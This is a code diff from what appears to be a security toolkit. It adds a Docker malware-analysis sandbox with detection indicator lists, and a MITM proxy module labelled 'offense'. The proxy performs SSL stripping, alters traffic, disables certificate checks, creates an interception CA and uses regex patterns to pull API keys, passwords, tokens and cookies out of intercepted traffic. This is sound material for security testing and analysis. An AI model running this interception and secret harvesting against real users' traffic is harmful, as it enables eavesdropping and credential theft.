'')[:80]}") + elif choice == '4': + sev = input(" Severity filter (blank=all): ").strip() or None + alerts = engine.get_alerts(severity=sev) + for a in alerts[-15:]: + print(f" [{a['severity']:<8}] {a['rule_name']}: {a['log_entry'][:60]}") + elif choice == '5': + rules = engine.get_rules() + for r in rules: + builtin = ' (built-in)' if r.get('builtin') else '' + print(f" {r['id']}: {r['name']} [{r['severity']}]{builtin}") + elif choice == '6': + print(f" Logs: {stats['total_logs']}") + print(f" Alerts: {stats['total_alerts']}") + print(f" Sources: {stats['sources']}") + print(f" Rules: {stats['rules']}") + if stats['alerts_by_severity']: + print(f" By severity: {stats['alerts_by_severity']}") + elif choice == '7': + timeline = engine.get_timeline() + for t in timeline[-12:]: + bar = '#' * min(t['count'], 40) + print(f" {t['hour']} | {bar} ({t['count']})") + elif choice == '8': + engine.clear_alerts() + print(" Alerts cleared") diff --git a/modules/malware_sandbox.py b/modules/malware_sandbox.py new file mode 100644 index 0000000..06e9531 --- /dev/null +++ b/modules/malware_sandbox.py @@ -0,0 +1,524 @@ +"""AUTARCH Malware Sandbox + +Isolated sample detonation (Docker-based), behavior logging, API call tracing, +network activity monitoring, and file system change tracking. +""" + +DESCRIPTION = "Malware detonation sandbox & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import hashlib +import subprocess +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── YARA Rules (basic) ────────────────────────────────────────────────────── + +BASIC_YARA_INDICATORS = { + 'suspicious_imports': [ + b'CreateRemoteThread', b'VirtualAllocEx', b'WriteProcessMemory', + b'NtQueryInformationProcess', b'IsDebuggerPresent', + b'GetProcAddress', b'LoadLibraryA', b'ShellExecuteA', + ], + 'crypto_indicators': [ + b'CryptEncrypt', b'CryptDecrypt', b'BCryptEncrypt', + b'AES', b'RSA', b'BEGIN PUBLIC KEY', + ], + 'network_indicators': [ + b'InternetOpenA', b'HttpOpenRequestA', b'URLDownloadToFile', + b'WSAStartup', b'connect', b'send', b'recv', + b'http://', b'https://', b'ftp://', + ], + 'persistence_indicators': [ + b'CurrentVersion\\Run', b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion', + b'schtasks', b'at.exe', b'HKEY_LOCAL_MACHINE', b'HKEY_CURRENT_USER', + b'crontab', b'/etc/cron', + ], + 'evasion_indicators': [ + b'IsDebuggerPresent', b'CheckRemoteDebuggerPresent', + b'NtSetInformationThread', b'vmware', b'virtualbox', b'vbox', + b'sandbox', b'SbieDll.dll', + ], +} + + +# ── Sandbox Engine ─────────────────────────────────────────────────────────── + +class MalwareSandbox: + """Isolated malware analysis environment.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'sandbox') + os.makedirs(self.data_dir, exist_ok=True) + self.samples_dir = os.path.join(self.data_dir, 'samples') + os.makedirs(self.samples_dir, exist_ok=True) + self.reports_dir = os.path.join(self.data_dir, 'reports') + os.makedirs(self.reports_dir, exist_ok=True) + + self.docker = find_tool('docker') or shutil.which('docker') + self.strace = shutil.which('strace') + self.ltrace = shutil.which('ltrace') + self.file_cmd = shutil.which('file') + self.strings_cmd = find_tool('strings') or shutil.which('strings') + + self.analyses: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def get_status(self) -> Dict: + """Get sandbox capabilities.""" + docker_ok = False + if self.docker: + try: + result = subprocess.run([self.docker, 'info'], + capture_output=True, timeout=5) + docker_ok = result.returncode == 0 + except Exception: + pass + + return { + 'docker': docker_ok, + 'strace': self.strace is not None, + 'ltrace': self.ltrace is not None, + 'file': self.file_cmd is not None, + 'strings': self.strings_cmd is not None, + 'samples': len(list(Path(self.samples_dir).iterdir())), + 'analyses': len(self.analyses) + } + + # ── Sample Management ──────────────────────────────────────────────── + + def submit_sample(self, filepath: str, name: str = None) -> Dict: + """Submit a sample for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + # Hash the sample + hashes = {} + with open(filepath, 'rb') as f: + data = f.read() + hashes['md5'] = hashlib.md5(data).hexdigest() + hashes['sha1'] = hashlib.sha1(data).hexdigest() + hashes['sha256'] = hashlib.sha256(data).hexdigest() + + # Copy to samples dir + sample_name = name or Path(filepath).name + safe_name = re.sub(r'[^\w.\-]', '_', sample_name) + dest = os.path.join(self.samples_dir, f'{hashes["sha256"][:16]}_{safe_name}') + shutil.copy2(filepath, dest) + + sample = { + 'name': sample_name, + 'path': dest, + 'size': os.path.getsize(dest), + 'hashes': hashes, + 'submitted': datetime.now(timezone.utc).isoformat() + } + + return {'ok': True, 'sample': sample} + + def list_samples(self) -> List[Dict]: + """List submitted samples.""" + samples = [] + for f in Path(self.samples_dir).iterdir(): + if f.is_file(): + samples.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return samples + + # ── Static Analysis ────────────────────────────────────────────────── + + def static_analysis(self, filepath: str) -> Dict: + """Perform static analysis on a sample.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + result = { + 'ok': True, + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath) + } + + # File type identification + if self.file_cmd: + try: + out = subprocess.check_output([self.file_cmd, filepath], + text=True, timeout=10) + result['file_type'] = out.split(':', 1)[-1].strip() + except Exception: + pass + + # Hashes + with open(filepath, 'rb') as f: + data = f.read() + result['hashes'] = { + 'md5': hashlib.md5(data).hexdigest(), + 'sha1': hashlib.sha1(data).hexdigest(), + 'sha256': hashlib.sha256(data).hexdigest() + } + + # Strings extraction + if self.strings_cmd: + try: + out = subprocess.check_output( + [self.strings_cmd, '-n', '6', filepath], + text=True, timeout=30, stderr=subprocess.DEVNULL + ) + strings = out.strip().split('\n') + result['strings_count'] = len(strings) + + # Extract interesting strings + urls = [s for s in strings if re.match(r'https?://', s)] + ips = [s for s in strings if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', s)] + emails = [s for s in strings if re.match(r'[^@]+@[^@]+\.[^@]+', s)] + paths = [s for s in strings if s.startswith('/') or '\\' in s] + + result['interesting_strings'] = { + 'urls': urls[:20], + 'ips': list(set(ips))[:20], + 'emails': list(set(emails))[:10], + 'paths': paths[:20] + } + except Exception: + pass + + # YARA-like signature matching + indicators = {} + for category, patterns in BASIC_YARA_INDICATORS.items(): + matches = [p.decode('utf-8', errors='replace') for p in patterns if p in data] + if matches: + indicators[category] = matches + + result['indicators'] = indicators + result['indicator_count'] = sum(len(v) for v in indicators.values()) + + # PE header analysis + if data[:2] == b'MZ': + result['pe_info'] = self._parse_pe_header(data) + + # ELF header analysis + if data[:4] == b'\x7fELF': + result['elf_info'] = self._parse_elf_header(data) + + # Risk score + score = 0 + if indicators.get('evasion_indicators'): + score += 30 + if indicators.get('persistence_indicators'): + score += 25 + if indicators.get('suspicious_imports'): + score += 20 + if indicators.get('network_indicators'): + score += 15 + if indicators.get('crypto_indicators'): + score += 10 + + result['risk_score'] = min(100, score) + result['risk_level'] = ( + 'critical' if score >= 70 else + 'high' if score >= 50 else + 'medium' if score >= 30 else + 'low' if score >= 10 else + 'clean' + ) + + return result + + def _parse_pe_header(self, data: bytes) -> Dict: + """Basic PE header parsing.""" + info = {'format': 'PE'} + try: + import struct + e_lfanew = struct.unpack_from(' Dict: + """Basic ELF header parsing.""" + info = {'format': 'ELF'} + try: + import struct + ei_class = data[4] + info['bits'] = {1: 32, 2: 64}.get(ei_class, 0) + ei_data = data[5] + info['endian'] = {1: 'little', 2: 'big'}.get(ei_data, 'unknown') + e_type = struct.unpack_from(' str: + """Run sample in Docker sandbox. Returns job_id.""" + if not self.docker: + return '' + + job_id = f'sandbox_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'dynamic', 'status': 'running', + 'result': None, 'started': time.time() + } + + def _run(): + try: + container_name = f'autarch_sandbox_{job_id}' + sample_name = Path(filepath).name + + # Run in isolated container + cmd = [ + self.docker, 'run', '--rm', + '--name', container_name, + '--network', 'none', # No network + '--memory', '256m', # Memory limit + '--cpus', '1', # CPU limit + '--read-only', # Read-only root + '--tmpfs', '/tmp:size=64m', + '-v', f'{os.path.abspath(filepath)}:/sample/{sample_name}:ro', + 'ubuntu:22.04', + 'bash', '-c', f''' + # Log file operations + cp /sample/{sample_name} /tmp/test_sample + chmod +x /tmp/test_sample 2>/dev/null + # Try to run with strace if available + timeout {timeout} strace -f -o /tmp/trace.log /tmp/test_sample 2>/tmp/stderr.log || true + cat /tmp/trace.log 2>/dev/null | head -1000 + echo "---STDERR---" + cat /tmp/stderr.log 2>/dev/null | head -100 + ''' + ] + + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout + 30) + + # Parse strace output + syscalls = {} + files_accessed = [] + network_calls = [] + + for line in result.stdout.split('\n'): + # Count syscalls + sc_match = re.match(r'.*?(\w+)\(', line) + if sc_match: + sc = sc_match.group(1) + syscalls[sc] = syscalls.get(sc, 0) + 1 + + # File access + if 'open(' in line or 'openat(' in line: + f_match = re.search(r'"([^"]+)"', line) + if f_match: + files_accessed.append(f_match.group(1)) + + # Network + if 'connect(' in line or 'socket(' in line: + network_calls.append(line.strip()[:100]) + + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, + 'syscalls': syscalls, + 'syscall_count': sum(syscalls.values()), + 'files_accessed': list(set(files_accessed))[:50], + 'network_calls': network_calls[:20], + 'exit_code': result.returncode, + 'stderr': result.stderr[:500] if result.stderr else '' + } + + except subprocess.TimeoutExpired: + # Kill container + subprocess.run([self.docker, 'kill', container_name], + capture_output=True) + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, 'timeout': True, + 'message': 'Analysis timed out (sample may be long-running)' + } + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_run, daemon=True).start() + return job_id + + # ── Report Generation ──────────────────────────────────────────────── + + def generate_report(self, filepath: str, include_dynamic: bool = False) -> Dict: + """Generate comprehensive analysis report.""" + static = self.static_analysis(filepath) + report = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'sample': { + 'name': Path(filepath).name, + 'path': filepath, + 'size': static.get('size', 0), + 'hashes': static.get('hashes', {}) + }, + 'static_analysis': static, + 'risk_score': static.get('risk_score', 0), + 'risk_level': static.get('risk_level', 'unknown') + } + + # Save report + report_name = f'report_{static.get("hashes", {}).get("sha256", "unknown")[:16]}.json' + report_path = os.path.join(self.reports_dir, report_name) + with open(report_path, 'w') as f: + json.dump(report, f, indent=2) + + report['report_path'] = report_path + self.analyses.append({ + 'name': Path(filepath).name, + 'report': report_path, + 'risk': report['risk_level'], + 'timestamp': report['timestamp'] + }) + + return {'ok': True, **report} + + def list_reports(self) -> List[Dict]: + """List analysis reports.""" + reports = [] + for f in Path(self.reports_dir).glob('*.json'): + try: + with open(f) as fh: + data = json.load(fh) + reports.append({ + 'name': f.name, + 'path': str(f), + 'sample': data.get('sample', {}).get('name', ''), + 'risk': data.get('risk_level', 'unknown'), + 'timestamp': data.get('timestamp', '') + }) + except Exception: + pass + return reports + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_sandbox() -> MalwareSandbox: + global _instance + if _instance is None: + _instance = MalwareSandbox() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Malware Sandbox module.""" + sandbox = get_sandbox() + + while True: + status = sandbox.get_status() + print(f"\n{'='*60}") + print(f" Malware Sandbox") + print(f"{'='*60}") + print(f" Docker: {'OK' if status['docker'] else 'NOT AVAILABLE'}") + print(f" Samples: {status['samples']} Analyses: {status['analyses']}") + print() + print(" 1 — Submit Sample") + print(" 2 — Static Analysis") + print(" 3 — Dynamic Analysis (Docker)") + print(" 4 — Full Report") + print(" 5 — List Samples") + print(" 6 — List Reports") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + path = input(" File path: ").strip() + if path: + result = sandbox.submit_sample(path) + if result['ok']: + s = result['sample'] + print(f" Submitted: {s['name']} ({s['size']} bytes)") + print(f" SHA256: {s['hashes']['sha256']}") + else: + print(f" Error: {result['error']}") + elif choice == '2': + path = input(" Sample path: ").strip() + if path: + result = sandbox.static_analysis(path) + if result['ok']: + print(f" Type: {result.get('file_type', 'unknown')}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + print(f" Strings: {result.get('strings_count', 0)}") + for cat, matches in result.get('indicators', {}).items(): + print(f" {cat}: {', '.join(matches[:5])}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + if not status['docker']: + print(" Docker not available") + continue + path = input(" Sample path: ").strip() + if path: + job_id = sandbox.dynamic_analysis(path) + print(f" Running in sandbox (job: {job_id})...") + while True: + job = sandbox.get_job(job_id) + if job['status'] != 'running': + r = job['result'] + if r.get('ok'): + print(f" Syscalls: {r.get('syscall_count', 0)}") + print(f" Files: {len(r.get('files_accessed', []))}") + print(f" Network: {len(r.get('network_calls', []))}") + else: + print(f" Error: {r.get('error', 'Unknown')}") + break + time.sleep(2) + elif choice == '4': + path = input(" Sample path: ").strip() + if path: + result = sandbox.generate_report(path) + if result['ok']: + print(f" Report: {result['report_path']}") + print(f" Risk: {result['risk_level']} ({result['risk_score']}/100)") + elif choice == '5': + for s in sandbox.list_samples(): + print(f" {s['name']} ({s['size']} bytes)") + elif choice == '6': + for r in sandbox.list_reports(): + print(f" [{r['risk']}] {r['sample']} {r['timestamp'][:19]}") diff --git a/modules/mitm_proxy.py b/modules/mitm_proxy.py new file mode 100644 index 0000000..53aaffb --- /dev/null +++ b/modules/mitm_proxy.py @@ -0,0 +1,1147 @@ +""" +AUTARCH MITM Proxy + +HTTP/HTTPS interception proxy with SSL stripping, request/response +modification, traffic logging, WebSocket interception, and upstream chaining. +""" + +import os +import sys +import re +import json +import time +import signal +import socket +import ssl +import threading +import subprocess +import uuid +import http.server +import urllib.request +import urllib.parse +from pathlib import Path +from datetime import datetime +from http.client import HTTPConnection, HTTPSConnection + +# Module metadata +DESCRIPTION = "HTTP(S) interception proxy & traffic analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + +try: + from core.paths import get_data_dir, find_tool +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + def find_tool(name): + import shutil + return shutil.which(name) + + +# ── Secret detection patterns ──────────────────────────────────────────── + +SECRET_PATTERNS = [ + (r'(?i)(?:api[_-]?key|apikey)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'API Key'), + (r'(?i)(?:auth(?:orization)?|bearer)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{16,})', 'Auth Token'), + (r'(?i)(?:password|passwd|pwd)\s*[:=]\s*["\']?(\S{4,})', 'Password'), + (r'(?i)(?:secret|client_secret)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'Secret'), + (r'(?i)(?:token|access_token|refresh_token)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{16,})', 'Token'), + (r'(?i)(?:aws_access_key_id)\s*[:=]\s*["\']?(AKIA[A-Z0-9]{16})', 'AWS Key'), + (r'(?i)(?:aws_secret_access_key)\s*[:=]\s*["\']?([A-Za-z0-9/+=]{40})', 'AWS Secret'), + (r'(?i)(sk-[A-Za-z0-9]{32,})', 'OpenAI Key'), + (r'(?i)(ghp_[A-Za-z0-9]{36,})', 'GitHub PAT'), + (r'(?i)(glpat-[A-Za-z0-9_\-]{20,})', 'GitLab PAT'), + (r'(?i)(?:session|sess_id|sessionid)\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})', 'Session ID'), + (r'(?i)(?:cookie)\s*[:=]\s*["\']?(\S{16,})', 'Cookie'), + (r'Authorization:\s*(Basic\s+[A-Za-z0-9+/=]+)', 'Basic Auth Header'), + (r'Authorization:\s*(Bearer\s+[A-Za-z0-9_\-\.]+)', 'Bearer Auth Header'), + (r'(?i)(?:private[_-]?key)\s*[:=]\s*["\']?(\S{16,})', 'Private Key'), + (r'(?i)(eyJ[A-Za-z0-9_\-]+\.eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)', 'JWT Token'), +] + +_COMPILED_SECRETS = [(re.compile(p), label) for p, label in SECRET_PATTERNS] + + +# ── Built-in Proxy Handler ─────────────────────────────────────────────── + +class _ProxyRequestHandler(http.server.BaseHTTPRequestHandler): + """HTTP proxy request handler that logs traffic and applies rules.""" + + # Shared state — set by MITMProxy before starting the server + mitm = None + + def log_message(self, fmt, *args): + """Suppress default stderr logging.""" + pass + + def _get_upstream(self): + """Return (host, port) for upstream proxy or None.""" + if self.mitm and self.mitm._upstream_proxy: + return self.mitm._upstream_proxy + return None + + def _read_body(self): + """Read request body if Content-Length is present.""" + length = self.headers.get('Content-Length') + if length: + try: + return self.rfile.read(int(length)) + except Exception: + return b'' + return b'' + + def _apply_rules(self, method, url, req_headers, req_body, resp_status=None, + resp_headers=None, resp_body=None, phase='request'): + """Apply matching modification rules. Returns modified values.""" + if not self.mitm: + return req_headers, req_body, resp_headers, resp_body, None + + for rule in self.mitm._rules: + if not rule.get('enabled', True): + continue + + # URL match + url_pattern = rule.get('match_url', '') + if url_pattern: + try: + if not re.search(url_pattern, url, re.IGNORECASE): + continue + except re.error: + continue + + # Method match + match_method = rule.get('match_method', '') + if match_method and match_method.upper() != 'ANY': + if method.upper() != match_method.upper(): + continue + + action = rule.get('action', '') + params = rule.get('params', {}) + + if action == 'block': + return req_headers, req_body, resp_headers, resp_body, 'block' + + if action == 'redirect' and phase == 'request': + return req_headers, req_body, resp_headers, resp_body, params.get('target_url', url) + + if action == 'modify_header' and phase == 'request': + header_name = params.get('header_name', '') + header_value = params.get('header_value', '') + if header_name and req_headers is not None: + req_headers[header_name] = header_value + + if action == 'inject_header' and phase == 'response': + header_name = params.get('header_name', '') + header_value = params.get('header_value', '') + if header_name and resp_headers is not None: + resp_headers[header_name] = header_value + + if action == 'modify_body' and phase == 'response': + search = params.get('search', '') + replace = params.get('replace', '') + if search and resp_body is not None: + try: + if isinstance(resp_body, bytes): + resp_body = resp_body.replace( + search.encode('utf-8', errors='replace'), + replace.encode('utf-8', errors='replace') + ) + else: + resp_body = resp_body.replace(search, replace) + except Exception: + pass + + return req_headers, req_body, resp_headers, resp_body, None + + def _handle_request(self, method): + """Handle all HTTP methods.""" + start_time = time.time() + url = self.path + req_body = self._read_body() + + # Convert headers to dict + req_headers = {} + for key in self.headers: + req_headers[key] = self.headers[key] + + # Apply request-phase rules + req_headers, req_body, _, _, action = self._apply_rules( + method, url, req_headers, req_body, phase='request' + ) + + # Handle block action + if action == 'block': + self.send_response(403) + self.send_header('Content-Type', 'text/plain') + self.end_headers() + self.wfile.write(b'Blocked by AUTARCH MITM Proxy') + if self.mitm: + self.mitm._log_traffic(method, url, 403, req_headers, + req_body, {}, b'Blocked', 0, start_time) + return + + # Handle redirect action + if action and action != 'block': + self.send_response(302) + self.send_header('Location', action) + self.end_headers() + if self.mitm: + self.mitm._log_traffic(method, url, 302, req_headers, + req_body, {'Location': action}, b'', 0, start_time) + return + + # SSL strip: rewrite HTTPS URLs to HTTP in the request + if self.mitm and self.mitm._ssl_strip: + url = url.replace('https://', 'http://') + + # Forward the request + try: + parsed = urllib.parse.urlparse(url) + target_host = parsed.hostname or 'localhost' + target_port = parsed.port or (443 if parsed.scheme == 'https' else 80) + target_path = parsed.path + if parsed.query: + target_path += '?' + parsed.query + + upstream = self._get_upstream() + + if upstream: + # Route through upstream proxy + conn = HTTPConnection(upstream[0], upstream[1], timeout=30) + conn.request(method, url, body=req_body if req_body else None, + headers=req_headers) + elif parsed.scheme == 'https': + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + conn = HTTPSConnection(target_host, target_port, timeout=30, + context=ctx) + conn.request(method, target_path, body=req_body if req_body else None, + headers=req_headers) + else: + conn = HTTPConnection(target_host, target_port, timeout=30) + conn.request(method, target_path, body=req_body if req_body else None, + headers=req_headers) + + resp = conn.getresponse() + resp_body = resp.read() + resp_status = resp.status + resp_headers = dict(resp.getheaders()) + + # Apply response-phase rules + _, _, resp_headers, resp_body, _ = self._apply_rules( + method, url, req_headers, req_body, + resp_status=resp_status, resp_headers=resp_headers, + resp_body=resp_body, phase='response' + ) + + # SSL strip: rewrite HTTPS links to HTTP in response body + if self.mitm and self.mitm._ssl_strip and resp_body: + resp_body = resp_body.replace(b'https://', b'http://') + + # Send response back to client + self.send_response(resp_status) + for key, value in resp_headers.items(): + if key.lower() in ('transfer-encoding', 'content-length', + 'content-encoding'): + continue + self.send_header(key, value) + self.send_header('Content-Length', str(len(resp_body))) + self.end_headers() + self.wfile.write(resp_body) + + # Log traffic + if self.mitm: + self.mitm._log_traffic(method, url, resp_status, req_headers, + req_body, resp_headers, resp_body, + len(resp_body), start_time) + + conn.close() + + except Exception as e: + error_msg = f'MITM Proxy Error: {str(e)}'.encode('utf-8') + self.send_response(502) + self.send_header('Content-Type', 'text/plain') + self.send_header('Content-Length', str(len(error_msg))) + self.end_headers() + self.wfile.write(error_msg) + if self.mitm: + self.mitm._log_traffic(method, url, 502, req_headers, + req_body, {}, error_msg, 0, start_time) + + def do_GET(self): + self._handle_request('GET') + + def do_POST(self): + self._handle_request('POST') + + def do_PUT(self): + self._handle_request('PUT') + + def do_DELETE(self): + self._handle_request('DELETE') + + def do_PATCH(self): + self._handle_request('PATCH') + + def do_HEAD(self): + self._handle_request('HEAD') + + def do_OPTIONS(self): + self._handle_request('OPTIONS') + + def do_CONNECT(self): + """Handle CONNECT for HTTPS tunneling.""" + host_port = self.path.split(':') + host = host_port[0] + port = int(host_port[1]) if len(host_port) > 1 else 443 + + self.send_response(200, 'Connection Established') + self.end_headers() + + # Log the CONNECT request + if self.mitm: + self.mitm._log_traffic('CONNECT', self.path, 200, + dict(self.headers), b'', {}, + b'Tunnel established', 0, time.time()) + + +# ── MITM Proxy Core ────────────────────────────────────────────────────── + +class MITMProxy: + """HTTP/HTTPS interception proxy with traffic logging and rule engine.""" + + _instance = None + + def __init__(self): + self._running = False + self._process = None + self._server = None + self._server_thread = None + self._listen_host = '127.0.0.1' + self._listen_port = 8888 + self._upstream_proxy = None + self._ssl_strip = False + self._use_mitmdump = False + + # Rules engine + self._rules = [] + self._next_rule_id = 1 + + # Traffic log + self._traffic = [] + self._traffic_lock = threading.Lock() + self._next_traffic_id = 1 + self._request_count = 0 + + # Certificate storage + data_dir = Path(get_data_dir()) if callable(get_data_dir) else Path(get_data_dir) + self._mitm_dir = data_dir / 'mitm' + self._cert_dir = self._mitm_dir / 'certs' + self._rules_path = self._mitm_dir / 'rules.json' + self._traffic_path = self._mitm_dir / 'traffic.json' + + self._mitm_dir.mkdir(parents=True, exist_ok=True) + self._cert_dir.mkdir(parents=True, exist_ok=True) + + # Load persisted rules + self._load_rules() + + # ── Proxy Lifecycle ────────────────────────────────────────────── + + def start(self, listen_host='127.0.0.1', listen_port=8888, upstream_proxy=None): + """Start the MITM proxy. + + Tries mitmdump first; falls back to built-in proxy. + Returns dict with status info. + """ + if self._running: + return {'success': False, 'error': 'Proxy already running', + 'host': self._listen_host, 'port': self._listen_port} + + self._listen_host = listen_host + self._listen_port = int(listen_port) + + # Parse upstream proxy + if upstream_proxy: + upstream_proxy = upstream_proxy.strip() + if upstream_proxy: + parts = upstream_proxy.replace('http://', '').replace('https://', '') + if ':' in parts: + h, p = parts.rsplit(':', 1) + try: + self._upstream_proxy = (h, int(p)) + except ValueError: + self._upstream_proxy = None + else: + self._upstream_proxy = (parts, 8080) + else: + self._upstream_proxy = None + + # Try mitmdump first + mitmdump_path = find_tool('mitmdump') + if mitmdump_path: + return self._start_mitmdump(mitmdump_path) + + # Fall back to built-in proxy + return self._start_builtin() + + def _start_mitmdump(self, mitmdump_path): + """Start proxy using mitmdump subprocess.""" + cmd = [ + mitmdump_path, + '--listen-host', self._listen_host, + '--listen-port', str(self._listen_port), + '--set', 'flow_detail=0', + '--set', f'confdir={str(self._cert_dir)}', + ] + + if self._upstream_proxy: + cmd.extend(['--mode', f'upstream:http://{self._upstream_proxy[0]}:{self._upstream_proxy[1]}']) + + if self._ssl_strip: + cmd.extend(['--ssl-insecure']) + + try: + self._process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + creationflags=getattr(subprocess, 'CREATE_NO_WINDOW', 0) + ) + time.sleep(1.0) + + if self._process.poll() is not None: + stderr = self._process.stderr.read().decode('utf-8', errors='replace') + return {'success': False, 'error': f'mitmdump exited: {stderr}'} + + self._running = True + self._use_mitmdump = True + return { + 'success': True, + 'message': f'Proxy started (mitmdump) on {self._listen_host}:{self._listen_port}', + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'mitmdump', + 'pid': self._process.pid, + } + except Exception as e: + return {'success': False, 'error': f'Failed to start mitmdump: {str(e)}'} + + def _start_builtin(self): + """Start proxy using built-in HTTP server.""" + try: + _ProxyRequestHandler.mitm = self + + server = http.server.HTTPServer( + (self._listen_host, self._listen_port), + _ProxyRequestHandler + ) + server.timeout = 1 + + self._server = server + self._running = True + self._use_mitmdump = False + + def serve(): + while self._running: + try: + server.handle_request() + except Exception: + if self._running: + continue + break + + self._server_thread = threading.Thread(target=serve, daemon=True, + name='mitm-proxy') + self._server_thread.start() + + return { + 'success': True, + 'message': f'Proxy started (built-in) on {self._listen_host}:{self._listen_port}', + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'builtin', + } + except OSError as e: + self._running = False + return {'success': False, 'error': f'Failed to bind {self._listen_host}:{self._listen_port}: {str(e)}'} + except Exception as e: + self._running = False + return {'success': False, 'error': f'Failed to start proxy: {str(e)}'} + + def stop(self): + """Stop the MITM proxy.""" + if not self._running: + return {'success': False, 'error': 'Proxy is not running'} + + self._running = False + + # Kill mitmdump process + if self._process: + try: + self._process.terminate() + self._process.wait(timeout=5) + except Exception: + try: + self._process.kill() + except Exception: + pass + self._process = None + + # Shutdown built-in server + if self._server: + try: + self._server.server_close() + except Exception: + pass + self._server = None + + if self._server_thread: + self._server_thread.join(timeout=3) + self._server_thread = None + + _ProxyRequestHandler.mitm = None + + return {'success': True, 'message': 'Proxy stopped'} + + def is_running(self): + """Check if proxy is active.""" + if self._process: + if self._process.poll() is not None: + self._running = False + self._process = None + return self._running + + def get_status(self): + """Return proxy status information.""" + return { + 'running': self.is_running(), + 'host': self._listen_host, + 'port': self._listen_port, + 'engine': 'mitmdump' if self._use_mitmdump else 'builtin', + 'request_count': self._request_count, + 'traffic_entries': len(self._traffic), + 'rules_count': len(self._rules), + 'ssl_strip': self._ssl_strip, + 'upstream_proxy': f'{self._upstream_proxy[0]}:{self._upstream_proxy[1]}' if self._upstream_proxy else None, + 'pid': self._process.pid if self._process else None, + } + + # ── Certificate Management ─────────────────────────────────────── + + def generate_ca_cert(self): + """Generate a CA certificate for HTTPS interception. + + Uses the cryptography library to create a self-signed CA cert. + Returns dict with cert info or error. + """ + try: + from cryptography import x509 + from cryptography.x509.oid import NameOID + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import rsa + from cryptography.hazmat.backends import default_backend + import datetime as dt + + # Generate RSA private key + key = rsa.generate_private_key( + public_exponent=65537, + key_size=2048, + backend=default_backend() + ) + + # Build CA certificate + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COUNTRY_NAME, 'US'), + x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, 'Cyberspace'), + x509.NameAttribute(NameOID.ORGANIZATION_NAME, 'AUTARCH MITM CA'), + x509.NameAttribute(NameOID.COMMON_NAME, 'AUTARCH Interception CA'), + ]) + + cert = ( + x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(dt.datetime.utcnow()) + .not_valid_after(dt.datetime.utcnow() + dt.timedelta(days=3650)) + .add_extension( + x509.BasicConstraints(ca=True, path_length=0), + critical=True, + ) + .add_extension( + x509.KeyUsage( + digital_signature=True, key_cert_sign=True, + crl_sign=True, key_encipherment=False, + content_commitment=False, data_encipherment=False, + key_agreement=False, encipher_only=False, + decipher_only=False + ), + critical=True, + ) + .sign(key, hashes.SHA256(), default_backend()) + ) + + # Save private key + key_path = self._cert_dir / 'ca-key.pem' + with open(key_path, 'wb') as f: + f.write(key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption() + )) + + # Save certificate + cert_path = self._cert_dir / 'ca-cert.pem' + with open(cert_path, 'wb') as f: + f.write(cert.public_bytes(serialization.Encoding.PEM)) + + # Save DER format for browser import + der_path = self._cert_dir / 'ca-cert.der' + with open(der_path, 'wb') as f: + f.write(cert.public_bytes(serialization.Encoding.DER)) + + return { + 'success': True, + 'message': 'CA certificate generated', + 'cert_path': str(cert_path), + 'key_path': str(key_path), + 'der_path': str(der_path), + 'subject': 'AUTARCH Interception CA', + 'valid_days': 3650, + } + + except ImportError: + return {'success': False, 'error': 'cryptography library not installed (pip install cryptography)'} + except Exception as e: + return {'success': False, 'error': f'Failed 